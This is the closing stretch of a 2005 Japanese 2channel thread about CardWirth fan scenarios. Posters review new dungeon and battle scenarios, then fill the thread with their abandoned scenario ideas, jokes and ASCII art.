955 :名無しさん@お腹いっぱい。:2005/07/04(月) 12:41:44 ID:V8omrLAn
眠りの雲使うと、あとは集中攻撃で確固撃破するだけで良いから
使うと非常につまらなくなる。

956 :名無しさん@お腹いっぱい。:2005/07/04(月) 12:59:30 ID:+ebniU5A
だが、雑魚敵が群れで現れた場合、使わないと厳しいorウザイ

回避されやすい敵の場合とくにアレだな。
バットとかバットとかインプとかインプとか。

957 :名無しさん@お腹いっぱい。:2005/07/04(月) 13:28:04 ID:+ebniU5A
新シナきたが、明らかに地雷の匂いがするのが一個混ざってるな・・・。

958 :名無しさん@お腹いっぱい。:2005/07/04(月) 13:39:57 ID:KtuZ3j/L
ギルド更新sage

深き闇への洞窟

パッとやってみただけなんで細かく見てないけど
とりあえず致命的なバグはないんじゃないかと。
ダンジョン探索系かと思ったが、
今いるエリアの仕掛けをクリアしたら次のエリアへ、って感じで淡々と進んでくので
迷ったりすることは無い。
そのせいと、ボリューム不足もあってあっさり終わっちゃった感があるけど。
一部隠者キーコード対応。
だが魔力感知と生命感知に対応してるくせに効果中断コンテントいれてないから
いちいちカキンカキン鳴る(こういうシナ他にもあるな)。


959 :名無しさん@お腹いっぱい。:2005/07/04(月) 14:05:03 ID:+ebniU5A
深き闇への洞窟

ダンジョンシナリオ。致命的なバグ等はなし。
洞窟探索を依頼された冒険者たちがその洞窟を深く潜っていくと……という感じのシナリオ。

ゴブ洞風の一般的なダンジョン物と異なり、エリアごとの仕掛けをクリアしていく
形になっており、前の階に戻れないなど、移動の自由度は低い。パズル的な要素が強いかな?
定番のパズルがあったりと、そういうのが好きな人は楽しめるかも。

ちょっとあっさり終わってしまう感はあるけれど、
さっくりと楽しめるという意味ではこのくらいでいいのかもしれない。

960 :名無しさん@お腹いっぱい。:2005/07/04(月) 14:17:57 ID:b2xPOHcO
夏風の戦士

いわゆる連戦シナリオ、物語はあって無きが如し。
製作者HPで配布している他シナリオで
特定のクーポンを入手しない限り
遊べない仕掛けになっている様子。
ところどころ内輪ネタが見られるほか、
戦闘の難易度は大味で万人向けの設定ではない。

場当たりのNPCの掛け合いを楽しめる方で、
かつ作者の他シナリオを楽しめるようならば大丈夫。
しかし錬金術師の臭いが……エアフォルクノイミハカゼノタミジャナクテセイコウデスヨ

961 :名無しさん@お腹いっぱい。:2005/07/04(月) 14:23:14 ID:b2xPOHcO
書き忘れ

第一印象から伝わる印象をあるがまま受け止め
己の直感に従い行動を定めるのが賢明。

962 :名無しさん@お腹いっぱい。:2005/07/04(月) 14:54:00 ID:21NMsWFf
某糞ブロガーあたりが喜びそうだな>のげシナ
超サイキョー!!な厨NPCは出てくるわ、戦闘は超どすげーNPC様のおかげで圧勝だわ。
そのうちプレイ日記かなんかで大賛辞飛ばすんじゃね?同病なんとかってやつでさw

963 :名無しさん@お腹いっぱい。:2005/07/04(月) 15:19:16 ID:+ebniU5A
シュメリアの遺跡

ダンジョン探索シナリオ。致命的なバグ等は無し。
遺跡の調査を依頼した冒険者が帰ってこない。その後追い調査と、脅威の除去を頼まれるシナリオ。

3Dダンジョンなのに、移動する度に自分が正面向いてるという方式は、なれない内は
自分がどっちに進んでるのかわからなくなるんでちょっとアレかも。

しかしまあ、そこに目を瞑れば、かなり作りこんである良いダンジョンシナだと思う。
敵の強さは結構歯ごたえがある部類に入ると思うが、低レベルでも事前ドーピング
しておけばそれほど問題なく勝てると思う。自分は五レベルドーピング無しで問題なかった。
最後の敵は、運頼みな部分があると思う。全体攻撃を連発されると、六レベルドーピング有りでも
あっさり負けてしまいそう。五レベルドーピング有りで三回チャレンジしてやっと勝った。
亡者退散を持ってるパーティーだったら、物凄く楽にクリアできるかもしれない。

探索途中でも依頼人の家に戻って回復できる。それに気づかなければ、ちょっと辛くなるかな。
これからプレイする人はそこら辺気をつけて、ヒット&アウェイで少しずつ探索を進めて
いくようにした方が無難だと思う。

隠しアイテムとかも有り、結構やりがいはある。
ちなみに、手に入るアイテムは名前の割に効果は意外と地味w

全体的に地味に良いシナリオだと思った。

964 :名無しさん@お腹いっぱい。:2005/07/04(月) 15:34:12 ID:+ebniU5A
追記。

背景にある事象がぼんやりとしか明かされていないのは、賛否両論ありそう。
あと、隠しアイテムは最強兵器との触れ込みらしいんだが、あれで最強なのか?
という疑問がw 使用ペナと成功度下げて、威力は上げても良かったんじゃ?と
個人的には思った。まあ、今後作るらしい隠しアイテム用スキルに期待かな。

965 :名無しさん@お腹いっぱい。:2005/07/04(月) 15:36:21 ID:jgMTKp9x
夏風の戦士って、
始めるために必要なクーポンのうちの1つが、手に入れる条件結構面倒でないか?
これ同じメンツのパーティでずっとやってたら手に入らないよね?


966 :名無しさん@お腹いっぱい。:2005/07/04(月) 15:50:16 ID:+ebniU5A
夏風の戦士

デバグ宿でやってみようとしたけど、導入で何故かやる気が・・・。
前提条件のシナリオをやってたら耐えられるんだろうか?

967 :名無しさん@お腹いっぱい。:2005/07/04(月) 18:05:44 ID:dVNLyEgq
深き闇への洞窟、ステージクリア型ダンジョンて感じで面白かった。
パズルを複数導入したダンジョンはよくあるけど、
これは探索形式だったから新鮮だった。

968 :名無しさん@お腹いっぱい。:2005/07/04(月) 18:27:49 ID:0Y1iELpO
>966
前提条件のシナ、低レベルPCが魔王退治に行く勇者の付き添いやる奴だっけか。
呆れて付き添い断って終了させたがw

969 :名無しさん@お腹いっぱい。:2005/07/04(月) 18:54:15 ID:12CWFEIL
IDがカードワース!

970 :名無しさん@お腹いっぱい。:2005/07/04(月) 19:05:38 ID:3a76VQEq
深き闇プレイした。

テストプレイのとき、掲示板がちょっと痛そうだったのでプレイしていなかったけど
90Kの容量でうまくまとまったシナになってるのがいいね。
ストーリー的なものはほとんどなく、「目の前に階段が見えてるが、障害物がある。
そこにたどり着くにはどうすればいいか」ってな感じのを繰り返していくシナリオ

971 :名無しさん@お腹いっぱい。:2005/07/04(月) 19:12:30 ID:DovKDskN
一時期流行った「いい意味での凡作」って奴か。俺も落としてみよう

972 :名無しさん@お腹いっぱい。:2005/07/04(月) 19:15:03 ID:pI1kMLMB
うむ。「自称最強ボスの部屋」時代の彼とは思えない。

973 :名無しさん@お腹いっぱい。:2005/07/04(月) 19:32:04 ID:jdQaoI1i
シュメリア結構よかった。
ダンジョンも、最初わかりにくかったけどやってくうちに慣れるし。
無意味に広いダンジョン、というわけじゃなく、むしろシンプルめなダンジョンだから、3Dでもわけわかんなくなることは多分ない。
最後の敵は強かった。4回コンティニューした(レベル5ドーピング不完全に有)。ぬるいシナばっかやってたからか、久々に緊迫感のある戦闘だった。


でも、対象レベル4-6のシナリオで「レーヴァテイン」はちょっと引いた……。
中堅冒険者程度でかつて世界を焼き尽くした剣なんて使う気になれません……。

974 :名無しさん@お腹いっぱい。:2005/07/04(月) 20:06:55 ID:ULp9jJrJ
そのくせ、バランスは取ってあるのが面白いw>レーヴァティン

975 :名無しさん@お腹いっぱい。:2005/07/04(月) 21:44:34 ID:ibHKxhcZ
ってかシュメリアは以前話題になってたよな。
何でこんな時期前ギルド登録しなかったんだろ。

976 :名無しさん@お腹いっぱい。:2005/07/04(月) 22:05:57 ID:+ebniU5A
忘れてたんじゃないか?

>>973
剣そのものではなく、技が問題になりそうだな、リドミ読む限りでは。
技もきっちりバランス取ってあったら、それはそれで笑うけどw
ペナルティーバリバリの強力技能でいいと思うけどね。

977 :名無しさん@お腹いっぱい。:2005/07/04(月) 23:47:39 ID:Jg/auXdS
>>970
新スレよろ

978 :名無しさん@お腹いっぱい。:2005/07/04(月) 23:59:14 ID:Sj1huxvJ
CardWirthシナリオを語るスレ! Ver40.
http://game10.2ch.net/test/read.cgi/gameama/1120489106/


979 :名無しさん@お腹いっぱい。:2005/07/05(火) 16:00:10 ID:uN0ntUl4
埋めないのか?

980 :名無しさん@お腹いっぱい。:2005/07/05(火) 16:16:44 ID:EDpRF+Sd
掘り起こしたら金の斧とかねずみのしっぽが出てきそうだ

981 :名無しさん@お腹いっぱい。:2005/07/05(火) 16:50:37 ID:U3R0OZ+R
埋めとこ

982 :名無しさん@お腹いっぱい。:2005/07/05(火) 21:35:21 ID:pmUv4X//
>>980
あのシナを解析しようとしたことあるんだけど、サッパリ理解できなかったよ。


983 :名無しさん@お腹いっぱい。:2005/07/06(水) 02:02:39 ID:6a6569GB
        まもなくここは 乂1000取り合戦場乂 となります。

      \∧_ヘ     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 ,,、,、,,, / \〇ノゝ∩ < 1000取り合戦、いくぞゴルァ!!       ,,、,、,,,
    /三√ ゚Д゚) /   \____________  ,,、,、,,,
     /三/| ゚U゚|\      ,,、,、,,,                       ,,、,、,,,
 ,,、,、,,, U (:::::::::::)  ,,、,、,,,         \オーーーーーーーッ!!/
      //三/|三|\     ∧_∧∧_∧ ∧_∧∧_∧∧_∧∧_∧
      ∪  ∪       (    )    (     )   (    )    )
 ,,、,、,,,       ,,、,、,,,  ∧_∧∧_∧∧_∧ ∧_∧∧_∧∧_∧∧_∧
      ,,、,、,,,       (    )    (    )    (    )    (    )


984 :名無しさん@お腹いっぱい。:2005/07/06(水) 02:43:09 ID:I0KInYE1
まあ埋め立てついでにお前らの挫折したシナのアイデアでも聞いておこうか。

985 :名無しさん@お腹いっぱい。:2005/07/06(水) 02:58:03 ID:UTv2dvFt
何この超低速埋め立て

マーナのペット屋の劣化版を作ろうとしたのが3年くらい前
システム構築がやってられなくなって挫折

986 :名無しさん@お腹いっぱい。:2005/07/06(水) 02:58:52 ID:GVGFaEv7
魔術師一人旅シナ。

昔、ソーサリーソリテアというソロアドヴェンチャーがあってね……

987 :名無しさん@お腹いっぱい。:2005/07/06(水) 02:59:07 ID:FUYC5M80
ストラテジー。大量のキャストと戦闘システムの時点で挫折。

988 :名無しさん@お腹いっぱい。:2005/07/06(水) 03:56:11 ID:8YgcJfoe
何度でもプレイできる時間制限ミッション。
無駄な時間を浪費しないために判断力が問われる。

989 :名無しさん@お腹いっぱい。:2005/07/06(水) 04:14:27 ID:PzJrHEka
敵が PCの内一人を“集中的にボコる(通常技で)”て構想を練ってた。
が、
「敵の通常技」に関してエディタで“操作出来ない”と知り、
 『単に大勢の雑魚』になってしまった _| ̄|○

990 :名無しさん@お腹いっぱい。:2005/07/06(水) 04:21:03 ID:PzJrHEka
ちなみに、いつか作ろうと思ってる“100%・狂い系”シナの概要…

ツケを理由に親父と戦闘
→3Rあたりで娘(実は 悪の秘密結社の首領)が全員まとめて魔空空間(ギャ●ン)へ放り込む
→親父・巨大化→ロボットに乗って戦闘(独自システム)
→時空の歪みによりワープ!
  …と、何だかんだあって、実際に戦闘が(中断せずに)完結するのは一回のみ。

そんなん(w

991 :名無しさん@お腹いっぱい。:2005/07/06(水) 05:18:41 ID:7+O4xHvl
>>980
ねずみのしっぽの元ネタってFF1なのかな?

挫折したのは羅生門をちょっとだけ下敷きにしたシナ。
リューン西方に生きる盗賊集団と
その一員として食料調達やら、表とのツナギの仕事をやっている老婆。
老婆は盗賊退治の名目で冒険者を雇うが、目的は
盗賊団を殲滅させ、団の貯めた稼ぎを独り占めすることだった。
冒険者は老婆の企みに気付けるか、また気付いた後に
善人として見逃すか、悪人として老婆を殺して全て横取りするか。
最後は選択肢ではなく、シナ内で辿って来た善行値・悪行値で決まるように
しようと思って弄ってたら、無意味に長くなってこりゃダメだと思って投げた。

992 :名無しさん@お腹いっぱい。:2005/07/06(水) 10:02:01 ID:WsxCKWU0
>>989
通常アクションカードの画像を使ったアイテムカードを
エネミーを選択状態にして配布する手があるぞ。

993 :名無しさん@お腹いっぱい。:2005/07/06(水) 12:34:59 ID:WjhjhtH4
“夜の街”を舞台にしたシティ・アドベンチャー。
とある理由で辺境の刑務所に入れられた一人の冒険者。
しかし刑務所の中は、目を疑うほどの華やかな、常闇の楽園が広がっていた。
刑期もなにも知らされぬまま手首に囚人番号を烙印され、街へと放り込まれる冒険者。
歓楽街・スラム街・麻薬組織・レジスタンス……。
様々な人々と出会い、翻弄され、いつしか冒険者は街に溶け込み始める。
果たして、この楽園が創られた意図とは……?
いつの日か、冒険者が生きて出られる日は来るのだろうか……?

ベースはPS2の“侍”のような時間軸に沿った完全フリーシナリオ。
自身の選択によって昨日の敵が友となり、友が敵となる。
“大人のシナリオ”をコンセプトに、全編をジャズにのせて送るハードボイルド・テイスト。
独自システムとして移動時に同行者との会話・相談や、街の人を恐喝したりも可能。

とまあ30%くらいまでは作ったんだが、やはり個人で作るには規模が大きすぎたな(´Д`;)
ツクールで見果てぬ名作でも(ry の格言が身にしみる。

994 :名無しさん@お腹いっぱい。:2005/07/06(水) 13:13:48 ID:WsxCKWU0
>>993
その手のシナは調整に時間がかかるので、
そろそろ完成が見えてきたと思った辺りからがすごく長い(実体験中)。
30%と思った時点じゃ、実際にはまだ5%くらいだろ。

995 :名無しさん@お腹いっぱい。:2005/07/06(水) 14:17:05 ID:WjhjhtH4
>>994
5%は流石にないが……完成がみえて〜は全くその通り。
てか全シナ共通で言えることだと思う。
一、二時間のシナリオ作るのに半年から一年近くかかっちゃうからなぁ。
古参ほど短篇を好んで作るのは、これが理由の一つだろうな。

996 :名無しさん@お腹いっぱい。:2005/07/06(水) 19:46:47 ID:tstD3LKt
う め な い か

997 :名無しさん@お腹いっぱい。:2005/07/06(水) 19:50:46 ID:kmbnh3lb
南高梅

998 :名無しさん@お腹いっぱい。:2005/07/06(水) 21:06:51 ID:rhuMBTa1
 | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
 |     __                             |
 |   /_ _ヽ   「おや、あんた達、                |
 |   ヲ ェ  ェ{                                 |
 |  ( ソ  ' 」`;    わしのおケツに興味があるのかね。」  |
 |   lヽ、'=,=ソ                             |
 |                                      |
 |_________________________|
 |                  やらないか                |
   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄

999 :名無しさん@お腹いっぱい。:2005/07/06(水) 21:34:17 ID:KT1NA1mI
DefOver.mid

1000 :名無しさん@お腹いっぱい。:2005/07/06(水) 21:34:35 ID:rPfYNbyl
1000だったら住人が現在製作中のシナ群は日の目を見

1001 :1001:Over 1000 Thread
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もう書けないので、新しいスレッドを立ててくださいです。。。

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